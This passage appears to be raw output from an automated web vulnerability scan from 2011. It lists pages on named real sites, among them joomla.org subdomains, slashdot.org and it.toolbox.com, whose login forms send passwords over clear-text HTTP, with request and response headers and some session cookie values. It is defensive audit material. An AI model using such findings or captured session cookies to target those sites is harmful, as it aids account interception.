HTTP/1.1 200 OK Date: Mon, 24 Jan 2011 15:11:40 GMT Server: Apache X-Powered-By: PHP/5.2.13 Set-Cookie: 3d56c873b463d3d3c1ccc249ca61c99d=9b5564d7b57848ef22bf9ac141472038; path=/ P3P: CP="NOI ADM DEV PSAi COM NAV OUR OTRo STP IND DEM" Expires: Mon, 1 Jan 2001 00:00:00 GMT Last-Modified: Mon, 24 Jan 2011 15:11:41 GMT Cache-Control: no-store, no-cache, must-revalidate, post-check=0, pre-check=0 Pragma: no-cache Connection: close Content-Type: text/html; charset=utf-8 Content-Length: 54147
The page contains a form with the following action URL, which is submitted over clear-text HTTP:
http://extensions.joomla.org/extensions
The form contains the following password field:
passwd
Request
GET /extensions HTTP/1.1 Host: extensions.joomla.org Accept: */* Accept-Language: en User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0) Connection: close
Response
HTTP/1.1 200 OK Date: Mon, 24 Jan 2011 15:11:47 GMT Server: Apache X-Powered-By: PHP/5.2.13 Set-Cookie: 3d56c873b463d3d3c1ccc249ca61c99d=8ce91e96c30d6b3c03ce44895359f0bf; path=/ P3P: CP="NOI ADM DEV PSAi COM NAV OUR OTRo STP IND DEM" Expires: Mon, 1 Jan 2001 00:00:00 GMT Last-Modified: Mon, 24 Jan 2011 15:11:47 GMT Cache-Control: no-store, no-cache, must-revalidate, post-check=0, pre-check=0 Pragma: no-cache Connection: close Content-Type: text/html; charset=utf-8 Content-Length: 58780
The page contains a form with the following action URL, which is submitted over clear-text HTTP:
http://extensions.joomla.org/extensions
The form contains the following password field:
passwd
Request
GET /extensions/advanced-search HTTP/1.1 Host: extensions.joomla.org Accept: */* Accept-Language: en User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0) Connection: close
Response
HTTP/1.1 200 OK Date: Mon, 24 Jan 2011 15:11:47 GMT Server: Apache X-Powered-By: PHP/5.2.13 Set-Cookie: 3d56c873b463d3d3c1ccc249ca61c99d=662ff80b6519b113832192982b098a5a; path=/ P3P: CP="NOI ADM DEV PSAi COM NAV OUR OTRo STP IND DEM" Expires: Mon, 1 Jan 2001 00:00:00 GMT Last-Modified: Mon, 24 Jan 2011 15:11:47 GMT Cache-Control: no-store, no-cache, must-revalidate, post-check=0, pre-check=0 Pragma: no-cache Connection: close Content-Type: text/html; charset=utf-8 Content-Length: 61417
The page contains a form with the following action URL, which is submitted over clear-text HTTP:
http://extensions.joomla.org/extensions
The form contains the following password field:
passwd
Request
GET /extensions/languages/translations-for-joomla HTTP/1.1 Host: extensions.joomla.org Accept: */* Accept-Language: en User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0) Connection: close
Response
HTTP/1.1 200 OK Date: Mon, 24 Jan 2011 15:11:40 GMT Server: Apache X-Powered-By: PHP/5.2.13 Set-Cookie: 3d56c873b463d3d3c1ccc249ca61c99d=119690ae64f99e48cab89680209b4270; path=/ P3P: CP="NOI ADM DEV PSAi COM NAV OUR OTRo STP IND DEM" Expires: Mon, 1 Jan 2001 00:00:00 GMT Last-Modified: Mon, 24 Jan 2011 15:11:41 GMT Cache-Control: no-store, no-cache, must-revalidate, post-check=0, pre-check=0 Pragma: no-cache Connection: close Content-Type: text/html; charset=utf-8 Content-Length: 72889
The page contains a form with the following action URL, which is submitted over clear-text HTTP:
http://extensions.joomla.org/extensions
The form contains the following password field:
passwd
Request
GET /extensions/new HTTP/1.1 Host: extensions.joomla.org Accept: */* Accept-Language: en User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0) Connection: close
Response
HTTP/1.1 200 OK Date: Mon, 24 Jan 2011 15:11:41 GMT Server: Apache X-Powered-By: PHP/5.2.13 Set-Cookie: 3d56c873b463d3d3c1ccc249ca61c99d=bd83a0d831a42c661eb59a60c147c8f6; path=/ P3P: CP="NOI ADM DEV PSAi COM NAV OUR OTRo STP IND DEM" Expires: Mon, 1 Jan 2001 00:00:00 GMT Last-Modified: Mon, 24 Jan 2011 15:11:42 GMT Cache-Control: no-store, no-cache, must-revalidate, post-check=0, pre-check=0 Pragma: no-cache Connection: close Content-Type: text/html; charset=utf-8 Content-Length: 78217
GET /0 HTTP/1.1 Host: fastdial.com Accept: */* Accept-Language: en User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0) Connection: close Cookie: has_js=1; SESScb6e13bb9b3cdf11f80b4ccf0f07b677=c1uvnu853h51tppmts56d4vm81;
Response
HTTP/1.1 200 OK Date: Tue, 25 Jan 2011 02:05:49 GMT Server: Apache/2.2.3 (CentOS) X-Powered-By: PHP/5.2.17 Expires: Sun, 19 Nov 1978 05:00:00 GMT Last-Modified: Tue, 25 Jan 2011 02:05:49 GMT Cache-Control: store, no-cache, must-revalidate Cache-Control: post-check=0, pre-check=0 Vary: Accept-Encoding Content-Length: 5182 Connection: close Content-Type: text/html; charset=utf-8
The page contains a form with the following action URL, which is submitted over clear-text HTTP:
http://fastdial.com/user
The form contains the following password field:
pass
Request
GET /user HTTP/1.1 Host: fastdial.com Accept: */* Accept-Language: en User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0) Connection: close Cookie: has_js=1; SESScb6e13bb9b3cdf11f80b4ccf0f07b677=c1uvnu853h51tppmts56d4vm81;
Response
HTTP/1.1 200 OK Date: Tue, 25 Jan 2011 02:05:49 GMT Server: Apache/2.2.3 (CentOS) X-Powered-By: PHP/5.2.17 Expires: Sun, 19 Nov 1978 05:00:00 GMT Last-Modified: Tue, 25 Jan 2011 02:05:49 GMT Cache-Control: store, no-cache, must-revalidate Cache-Control: post-check=0, pre-check=0 Vary: Accept-Encoding Content-Length: 4772 Connection: close Content-Type: text/html; charset=utf-8
The page contains a form with the following action URL, which is submitted over clear-text HTTP:
http://fastdial.com/website?destination=website
The form contains the following password field:
pass
Request
GET /website HTTP/1.1 Host: fastdial.com Accept: */* Accept-Language: en User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0) Connection: close Cookie: has_js=1; SESScb6e13bb9b3cdf11f80b4ccf0f07b677=c1uvnu853h51tppmts56d4vm81;
Response
HTTP/1.1 200 OK Date: Tue, 25 Jan 2011 02:05:48 GMT Server: Apache/2.2.3 (CentOS) X-Powered-By: PHP/5.2.17 Expires: Sun, 19 Nov 1978 05:00:00 GMT Last-Modified: Tue, 25 Jan 2011 02:05:48 GMT Cache-Control: store, no-cache, must-revalidate Cache-Control: post-check=0, pre-check=0 Vary: Accept-Encoding Connection: close Content-Type: text/html; charset=utf-8 Content-Length: 8476
GET /ucp.php HTTP/1.1 Host: forum.joomla.org Accept: */* Accept-Language: en User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0) Connection: close
GET /viewforum.php?f=511 HTTP/1.1 Host: forum.joomla.org Accept: */* Accept-Language: en User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0) Connection: close
GET / HTTP/1.1 Host: forumas.lithuanianjoomla.com Accept: */* Accept-Language: en User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0) Connection: close
The page contains a form with the following action URL, which is submitted over clear-text HTTP:
http://forums.freebsd.org/login.php?do=login
The form contains the following password field:
vb_login_password
Request
GET / HTTP/1.1 Host: forums.freebsd.org Accept: */* Accept-Language: en User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0) Connection: close
The page contains a form with the following action URL, which is submitted over clear-text HTTP:
http://help.tweetmeme.com/wp-login.php
The form contains the following password field:
pwd
Request
GET / HTTP/1.1 Host: help.tweetmeme.com Accept: */* Accept-Language: en User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0) Connection: close
The page contains a form with the following action URL, which is submitted over clear-text HTTP:
http://help.tweetmeme.com/wp-login.php
The form contains the following password field:
pwd
Request
GET /2009/04/07/api-documentation/ HTTP/1.1 Host: help.tweetmeme.com Accept: */* Accept-Language: en User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0) Connection: close
The page contains a form with the following action URL, which is submitted over clear-text HTTP:
http://help.tweetmeme.com/wp-login.php
The form contains the following password field:
pwd
Request
GET /2009/04/09/rss-feeds/ HTTP/1.1 Host: help.tweetmeme.com Accept: */* Accept-Language: en User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0) Connection: close
The page contains a form with the following action URL, which is submitted over clear-text HTTP:
http://help.tweetmeme.com/wp-login.php
The form contains the following password field:
pwd
Request
GET /2009/04/09/twitter-feeds/ HTTP/1.1 Host: help.tweetmeme.com Accept: */* Accept-Language: en User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0) Connection: close
The page contains a form with the following action URL, which is submitted over clear-text HTTP:
http://help.tweetmeme.com/wp-login.php
The form contains the following password field:
pwd
Request
GET /contact/ HTTP/1.1 Host: help.tweetmeme.com Accept: */* Accept-Language: en User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0) Connection: close
The page contains a form with the following action URL, which is submitted over clear-text HTTP:
http://help.tweetmeme.com/wp-login.php
The form contains the following password field:
pwd
Request
GET /forum/forum/33 HTTP/1.1 Host: help.tweetmeme.com Accept: */* Accept-Language: en User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0) Connection: close
Response
HTTP/1.1 200 OK Date: Tue, 25 Jan 2011 15:02:32 GMT Server: Apache/2.2.3 (CentOS) X-Served-By: doveweb X-Powered-By: PHP/5.1.6 Content-Length: 6371 Connection: close Content-Type: text/html; charset=UTF-8
The page contains a form with the following action URL, which is submitted over clear-text HTTP:
http://help.tweetmeme.com/wp-login.php
The form contains the following password field:
pwd
Request
GET /language/ HTTP/1.1 Host: help.tweetmeme.com Accept: */* Accept-Language: en User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0) Connection: close
The page contains a form with the following action URL, which is submitted over clear-text HTTP:
http://it.toolbox.com/blogs/database-soup
The form contains the following password field:
ctl00$ctl00$m$txtSignin_Password
Request
GET /blogs/database-soup HTTP/1.1 Host: it.toolbox.com Accept: */* Accept-Language: en User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0) Connection: close
Response
HTTP/1.1 200 OK Cache-Control: private Content-Length: 61117 Content-Type: text/html; charset=utf-8 Server: Microsoft-IIS/7.5 X-AspNet-Version: 2.0.50727 X-Powered-By: ASP.NET Date: Tue, 25 Jan 2011 15:03:34 GMT Connection: close
The page contains a form with the following action URL, which is submitted over clear-text HTTP:
http://it.toolbox.com/blogs/database-talk
The form contains the following password field:
ctl00$ctl00$m$txtSignin_Password
Request
GET /blogs/database-talk HTTP/1.1 Host: it.toolbox.com Accept: */* Accept-Language: en User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0) Connection: close
Response
HTTP/1.1 200 OK Cache-Control: private Content-Length: 63385 Content-Type: text/html; charset=utf-8 Server: Microsoft-IIS/7.5 X-AspNet-Version: 2.0.50727 X-Powered-By: ASP.NET Date: Tue, 25 Jan 2011 15:01:15 GMT Connection: close
The page contains a form with the following action URL, which is submitted over clear-text HTTP:
http://it.toolbox.com/blogs/db2luw
The form contains the following password field:
ctl00$ctl00$m$txtSignin_Password
Request
GET /blogs/db2luw HTTP/1.1 Host: it.toolbox.com Accept: */* Accept-Language: en User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0) Connection: close
Response
HTTP/1.1 200 OK Cache-Control: private Content-Length: 62898 Content-Type: text/html; charset=utf-8 Server: Microsoft-IIS/7.5 X-AspNet-Version: 2.0.50727 X-Powered-By: ASP.NET Date: Tue, 25 Jan 2011 15:00:40 GMT Connection: close
The page contains a form with the following action URL, which is submitted over clear-text HTTP:
http://it.toolbox.com/blogs/db2zos
The form contains the following password field:
ctl00$ctl00$m$txtSignin_Password
Request
GET /blogs/db2zos HTTP/1.1 Host: it.toolbox.com Accept: */* Accept-Language: en User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0) Connection: close
Response
HTTP/1.1 200 OK Cache-Control: private Content-Length: 78332 Content-Type: text/html; charset=utf-8 Server: Microsoft-IIS/7.5 X-AspNet-Version: 2.0.50727 X-Powered-By: ASP.NET Date: Tue, 25 Jan 2011 15:00:56 GMT Connection: close
The page contains a form with the following action URL, which is submitted over clear-text HTTP:
http://it.toolbox.com/blogs/elsua
The form contains the following password field:
ctl00$ctl00$m$txtSignin_Password
Request
GET /blogs/elsua HTTP/1.1 Host: it.toolbox.com Accept: */* Accept-Language: en User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0) Connection: close
Response
HTTP/1.1 200 OK Cache-Control: private Content-Length: 64411 Content-Type: text/html; charset=utf-8 Server: Microsoft-IIS/7.5 X-AspNet-Version: 2.0.50727 X-Powered-By: ASP.NET Date: Tue, 25 Jan 2011 15:01:05 GMT Connection: close
The page contains a form with the following action URL, which is submitted over clear-text HTTP:
http://it.toolbox.com/blogs/juice-analytics
The form contains the following password field:
ctl00$ctl00$m$txtSignin_Password
Request
GET /blogs/juice-analytics HTTP/1.1 Host: it.toolbox.com Accept: */* Accept-Language: en User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0) Connection: close
Response
HTTP/1.1 200 OK Cache-Control: private Content-Length: 61828 Content-Type: text/html; charset=utf-8 Server: Microsoft-IIS/7.5 X-AspNet-Version: 2.0.50727 X-Powered-By: ASP.NET Date: Tue, 25 Jan 2011 15:02:15 GMT Connection: close
The page contains a form with the following action URL, which is submitted over clear-text HTTP:
http://it.toolbox.com/blogs/minimalit
The form contains the following password field:
ctl00$ctl00$m$txtSignin_Password
Request
GET /blogs/minimalit HTTP/1.1 Host: it.toolbox.com Accept: */* Accept-Language: en User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0) Connection: close
Response
HTTP/1.1 200 OK Cache-Control: private Content-Length: 60086 Content-Type: text/html; charset=utf-8 Server: Microsoft-IIS/7.5 X-AspNet-Version: 2.0.50727 X-Powered-By: ASP.NET Date: Tue, 25 Jan 2011 15:02:32 GMT Connection: close
GET /blogs/penguinista-databasiensis HTTP/1.1 Host: it.toolbox.com Accept: */* Accept-Language: en User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0) Connection: close
Response
HTTP/1.1 200 OK Cache-Control: private Content-Length: 46021 Content-Type: text/html; charset=utf-8 Server: Microsoft-IIS/7.5 X-AspNet-Version: 2.0.50727 X-Powered-By: ASP.NET Date: Tue, 25 Jan 2011 15:01:24 GMT Connection: close
The page contains a form with the following action URL, which is submitted over clear-text HTTP:
http://it.toolbox.com/blogs/ppmtoday
The form contains the following password field:
ctl00$ctl00$m$txtSignin_Password
Request
GET /blogs/ppmtoday HTTP/1.1 Host: it.toolbox.com Accept: */* Accept-Language: en User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0) Connection: close
Response
HTTP/1.1 200 OK Cache-Control: private Content-Length: 63634 Content-Type: text/html; charset=utf-8 Server: Microsoft-IIS/7.5 X-AspNet-Version: 2.0.50727 X-Powered-By: ASP.NET Date: Tue, 25 Jan 2011 15:00:27 GMT Connection: close
The page contains a form with the following action URL, which is submitted over clear-text HTTP:
http://netvouz.com/action/submitBookmark
The form contains the following password field:
password
Request
GET /action/submitBookmark HTTP/1.1 Host: netvouz.com Accept: */* Accept-Language: en User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0) Connection: close
Response
HTTP/1.1 200 OK Date: Tue, 25 Jan 2011 14:24:42 GMT Server: IBM_HTTP_Server P3P: CP="NOI DSP COR CURa ADMa DEVa TAIa OUR NOR UNI COM NAV" Cache-Control: no-cache Pragma: no-cache Expires: -1 Set-Cookie: JSESSIONID=0000e0ie9rZuNgE43J-9RQD-aOC:-1; Path=/ Vary: Accept-Encoding,User-Agent Connection: close Content-Type: text/html; charset=UTF-8 Content-Language: en-US Content-Length: 5096
<?xml version="1.0" encoding="UTF-8" ?> <!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd"> <html xmlns="http://www. ...[SNIP]... </p>
The page contains a form with the following action URL, which is submitted over clear-text HTTP:
http://people.joomla.org/index.php
The form contains the following password field:
passwd
Request
GET / HTTP/1.1 Host: people.joomla.org Accept: */* Accept-Language: en User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0) Connection: close
Response
HTTP/1.1 200 OK Date: Mon, 24 Jan 2011 22:47:57 GMT Server: Apache X-Powered-By: PHP/5.2.13 P3P: CP="NOI ADM DEV PSAi COM NAV OUR OTRo STP IND DEM" Expires: Mon, 1 Jan 2001 00:00:00 GMT Cache-Control: no-store, no-cache, must-revalidate, post-check=0, pre-check=0 Pragma: no-cache Set-Cookie: 33e27d3d0725f34a77c307be63476b5b=df72bb7ce303a3507e4fbb9caac60af7; path=/ Set-Cookie: currentURI=http%3A%2F%2Fpeople.joomla.org%2F; expires=Tue, 25-Jan-2011 22:47:57 GMT; path=/ Last-Modified: Mon, 24 Jan 2011 22:47:57 GMT Connection: close Content-Type: text/html; charset=utf-8 Content-Length: 104112
<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd"> <html xmlns="http://www.w3.org/1999/xhtml" xml:lang="en-gb" lang="en-gb" > < ...[SNIP]... <div class="highslide-body">
The page contains a form with the following action URL, which is submitted over clear-text HTTP:
http://people.joomla.org/people.html
The form contains the following password field:
passwd
Request
GET / HTTP/1.1 Host: people.joomla.org Accept: */* Accept-Language: en User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0) Connection: close
Response
HTTP/1.1 200 OK Date: Mon, 24 Jan 2011 22:47:57 GMT Server: Apache X-Powered-By: PHP/5.2.13 P3P: CP="NOI ADM DEV PSAi COM NAV OUR OTRo STP IND DEM" Expires: Mon, 1 Jan 2001 00:00:00 GMT Cache-Control: no-store, no-cache, must-revalidate, post-check=0, pre-check=0 Pragma: no-cache Set-Cookie: 33e27d3d0725f34a77c307be63476b5b=df72bb7ce303a3507e4fbb9caac60af7; path=/ Set-Cookie: currentURI=http%3A%2F%2Fpeople.joomla.org%2F; expires=Tue, 25-Jan-2011 22:47:57 GMT; path=/ Last-Modified: Mon, 24 Jan 2011 22:47:57 GMT Connection: close Content-Type: text/html; charset=utf-8 Content-Length: 104112
<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd"> <html xmlns="http://www.w3.org/1999/xhtml" xml:lang="en-gb" lang="en-gb" > < ...[SNIP]... </h3>
The page contains a form with the following action URL, which is submitted over clear-text HTTP:
http://people.joomla.org/groups.html
The form contains the following password field:
passwd
Request
GET /groups/viewdiscussion/996-Joomla..%2016%20Has%20Arrived.html HTTP/1.1 Host: people.joomla.org Accept: */* Accept-Language: en User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0) Connection: close
Response
HTTP/1.1 200 OK Date: Mon, 24 Jan 2011 22:47:59 GMT Server: Apache X-Powered-By: PHP/5.2.13 P3P: CP="NOI ADM DEV PSAi COM NAV OUR OTRo STP IND DEM" Expires: Mon, 1 Jan 2001 00:00:00 GMT Cache-Control: no-store, no-cache, must-revalidate, post-check=0, pre-check=0 Pragma: no-cache Set-Cookie: 33e27d3d0725f34a77c307be63476b5b=4f8b70569285b3c4a1fb98ed7e94a635; path=/ Set-Cookie: currentURI=http%3A%2F%2Fpeople.joomla.org%2Fgroups%2Fviewdiscussion%2F996-Joomla%C2%AE+16+Has+Arrived.html; expires=Tue, 25-Jan-2011 22:47:59 GMT; path=/ Last-Modified: Mon, 24 Jan 2011 22:48:00 GMT Connection: close Content-Type: text/html; charset=utf-8 Content-Length: 25943
<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd"> <html xmlns="http://www.w3.org/1999/xhtml" xml:lang="en-gb" lang="en-gb" > < ...[SNIP]... <div class="highslide-body">
The page contains a form with the following action URL, which is submitted over clear-text HTTP:
http://resources.joomla.org/index.php
The form contains the following password field:
passwd
Request
GET / HTTP/1.1 Host: resources.joomla.org Accept: */* Accept-Language: en User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0) Connection: close
Response
HTTP/1.1 200 OK Date: Mon, 24 Jan 2011 16:02:10 GMT Server: Apache X-Powered-By: PHP/5.2.13 P3P: CP="NOI ADM DEV PSAi COM NAV OUR OTRo STP IND DEM" Expires: Mon, 1 Jan 2001 00:00:00 GMT Cache-Control: no-store, no-cache, must-revalidate, post-check=0, pre-check=0 Pragma: no-cache Set-Cookie: 041c772b92563f566daacce0f3f536ce=73c091fa2712ba7bf2c2185c73695000; path=/ Last-Modified: Mon, 24 Jan 2011 16:02:10 GMT Connection: close Content-Type: text/html; charset=utf-8 Content-Length: 31144
The page contains a form with the following action URL, which is submitted over clear-text HTTP:
http://resources.joomla.org/directory.html
The form contains the following password field:
passwd
Request
GET /directory/advsearch.html HTTP/1.1 Host: resources.joomla.org Accept: */* Accept-Language: en User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0) Connection: close
Response
HTTP/1.1 200 OK Date: Mon, 24 Jan 2011 16:02:10 GMT Server: Apache X-Powered-By: PHP/5.2.13 P3P: CP="NOI ADM DEV PSAi COM NAV OUR OTRo STP IND DEM" Expires: Mon, 1 Jan 2001 00:00:00 GMT Cache-Control: no-store, no-cache, must-revalidate, post-check=0, pre-check=0 Pragma: no-cache Set-Cookie: 041c772b92563f566daacce0f3f536ce=089d7ea1d8ba80fb168608272f1090c1; path=/ Last-Modified: Mon, 24 Jan 2011 16:02:10 GMT Connection: close Content-Type: text/html; charset=utf-8 Content-Length: 36788
The page contains a form with the following action URL, which is submitted over clear-text HTTP:
http://resources.joomla.org/directory.html
The form contains the following password field:
passwd
Request
GET /directory/new.html HTTP/1.1 Host: resources.joomla.org Accept: */* Accept-Language: en User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0) Connection: close
Response
HTTP/1.1 200 OK Date: Mon, 24 Jan 2011 16:02:10 GMT Server: Apache X-Powered-By: PHP/5.2.13 P3P: CP="NOI ADM DEV PSAi COM NAV OUR OTRo STP IND DEM" Expires: Mon, 1 Jan 2001 00:00:00 GMT Cache-Control: no-store, no-cache, must-revalidate, post-check=0, pre-check=0 Pragma: no-cache Set-Cookie: 041c772b92563f566daacce0f3f536ce=0b0ec261643fa10923bfbfaa489de5ba; path=/ Last-Modified: Mon, 24 Jan 2011 16:02:10 GMT Connection: close Content-Type: text/html; charset=utf-8 Content-Length: 44965
GET /how-to-add-listings.html HTTP/1.1 Host: resources.joomla.org Accept: */* Accept-Language: en User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0) Connection: close
Response
HTTP/1.1 200 OK Date: Mon, 24 Jan 2011 16:02:10 GMT Server: Apache X-Powered-By: PHP/5.2.13 P3P: CP="NOI ADM DEV PSAi COM NAV OUR OTRo STP IND DEM" Expires: Mon, 1 Jan 2001 00:00:00 GMT Cache-Control: no-store, no-cache, must-revalidate, post-check=0, pre-check=0 Pragma: no-cache Set-Cookie: 041c772b92563f566daacce0f3f536ce=d7fb4f14f3981668855c2cc50303ff38; path=/ Last-Modified: Mon, 24 Jan 2011 16:02:11 GMT Connection: close Content-Type: text/html; charset=utf-8 Content-Length: 24085
The page contains a form with the following action URL, which is submitted over clear-text HTTP:
http://slashdot.org/login.pl
The form contains the following password field:
upasswd
Request
GET /bookmark.pl?url={u}&title={t} HTTP/1.1 Host: slashdot.org Accept: */* Accept-Language: en User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0) Connection: close
Response
HTTP/1.1 200 OK Server: Apache/1.3.42 (Unix) mod_perl/1.31 X-Powered-By: Slash 2.005001305 X-Leela: You did the best you could, I guess, and some of these gorillas are okay. X-XRDS-Location: http://slashdot.org/slashdot.xrds Cache-Control: no-cache Pragma: no-cache Content-Type: text/html; charset=iso-8859-1 Content-Length: 23844 Date: Tue, 25 Jan 2011 13:16:10 GMT X-Varnish: 2121089048 Age: 0 Connection: close
<!DOCTYPE HTML PUBLIC "-//W3C//DTD HTML 4.01//EN" "http://www.w3.org/TR/html4/strict.dtd"> <html> <head> <script id="before-content" type="text/javascript"> var pageload = { pagemark: '12 ...[SNIP]... <div id="login_box_content"> <form action="//slashdot.org/login.pl" method="post"> <fieldset> ...[SNIP]... <input type="hidden" name="op" value="userlogin"> <input type="password" name="upasswd" size="20"> <label class="checkbox"> ...[SNIP]...
The page contains a form with the following action URL, which is submitted over clear-text HTTP:
http://slashdot.org/login.pl
The form contains the following password field:
upasswd
Request
GET /bookmark.pl?url={u}&title={t} HTTP/1.1 Host: slashdot.org Accept: */* Accept-Language: en User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0) Connection: close
Response
HTTP/1.1 200 OK Server: Apache/1.3.42 (Unix) mod_perl/1.31 X-Powered-By: Slash 2.005001305 X-Leela: You did the best you could, I guess, and some of these gorillas are okay. X-XRDS-Location: http://slashdot.org/slashdot.xrds Cache-Control: no-cache Pragma: no-cache Content-Type: text/html; charset=iso-8859-1 Content-Length: 23844 Date: Tue, 25 Jan 2011 13:16:10 GMT X-Varnish: 2121089048 Age: 0 Connection: close
<!DOCTYPE HTML PUBLIC "-//W3C//DTD HTML 4.01//EN" "http://www.w3.org/TR/html4/strict.dtd"> <html> <head> <script id="before-content" type="text/javascript"> var pageload = { pagemark: '12 ...[SNIP]... <div id="loginform"> <form action="//slashdot.org/login.pl" method="post"> <fieldset> ...[SNIP]... <input type="hidden" name="op" value="userlogin"> <input type="password" name="upasswd" size="20"> <label class="checkbox"> ...[SNIP]...
The page contains a form with the following action URL, which is submitted over clear-text HTTP:
http://spongecell.com/promote/website/login
The form contains the following password field:
login[password]
Request
GET /event_list HTTP/1.1 Host: spongecell.com Accept: */* Accept-Language: en User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0) Connection: close
Response
HTTP/1.1 200 OK Server: nginx/0.6.35 Date: Tue, 25 Jan 2011 13:18:18 GMT Content-Type: text/html; charset=utf-8 Connection: close Vary: Accept-Encoding Set-Cookie: _spongecell_loves_u=BAh7BzoLbG9jYWxlIgplbi1VUyIKZmxhc2hJQzonQWN0aW9uQ29udHJvbGxl%250Acjo6Rmxhc2g6OkZsYXNoSGFzaHsGOglub3RlMAY6CkB1c2VkewY7B1Q%253D--e6fed647287bcbc29d3b6b3a07b450dde7852c96; domain=.spongecell.com; path=/ Status: 200 OK Cache-Control: no-cache Content-Length: 10097
The page contains a form with the following action URL, which is submitted over clear-text HTTP:
http://themehybrid.com/blog/wp-login.php
The form contains the following password field:
pwd
Request
GET / HTTP/1.1 Host: themehybrid.com Accept: */* Accept-Language: en User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0) Connection: close Cookie: __utmz=87023965.1295921862.1.1.utmcsr=burp|utmccn=(referral)|utmcmd=referral|utmcct=/show/53; PHPSESSID=a6bd0f3ad3b5196fc368b021463f882d; __utma=87023965.1580775653.1295921862.1295921862.1295921862.1; __utmc=87023965; __utmb=87023965.2.10.1295921862;
Response
HTTP/1.1 200 OK Date: Tue, 25 Jan 2011 13:20:45 GMT Server: Apache/2.0.54 X-Powered-By: PHP/5.2.14 Expires: Thu, 19 Nov 1981 08:52:00 GMT Cache-Control: no-store, no-cache, must-revalidate, post-check=0, pre-check=0 Pragma: no-cache X-Pingback: http://themehybrid.com/blog/xmlrpc.php Vary: Accept-Encoding Connection: close Content-Type: text/html; charset=UTF-8 Content-Length: 10979
The page contains a form with the following action URL, which is submitted over clear-text HTTP:
http://themehybrid.com/blog/wp-login.php
The form contains the following password field:
pwd
Request
GET /themes/shadow HTTP/1.1 Host: themehybrid.com Accept: */* Accept-Language: en User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0) Connection: close
GET /index.php/joomla/1-joomla-16-je-tu HTTP/1.1 Host: venedet.michnica.net Accept: */* Accept-Language: en User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0) Connection: close
Response
HTTP/1.1 200 OK Date: Mon, 24 Jan 2011 16:02:41 GMT Server: Apache Vary: Host,Accept-Encoding Set-Cookie: fa5a1b42d3949309610b52593e36fa6f=1841b8d77a50e80e7a37fed80c5175b4; path=/ P3P: CP="NOI ADM DEV PSAi COM NAV OUR OTRo STP IND DEM" Cache-Control: no-cache Pragma: no-cache Connection: close Content-Type: text/html; charset=utf-8 Content-Length: 17676
The page contains a form with the following action URL, which is submitted over clear-text HTTP:
http://wordpress.org/extend/plugins/bb-login.php
The form contains the following password field:
password
Request
GET /extend/plugins/tweetmeme-follow-button/ HTTP/1.1 Host: wordpress.org Accept: */* Accept-Language: en User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0) Connection: close
Response
HTTP/1.1 200 OK Server: nginx Date: Tue, 25 Jan 2011 14:03:12 GMT Content-Type: text/html; charset=utf-8 Connection: close Vary: Accept-Encoding Content-Length: 20241
<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd"> <html xmlns="http://www.w3.org/1999/xhtml" dir="ltr" lang="en-US"><head profil ...[SNIP]... </h2>
The page contains a form with the following action URL, which is submitted over clear-text HTTP:
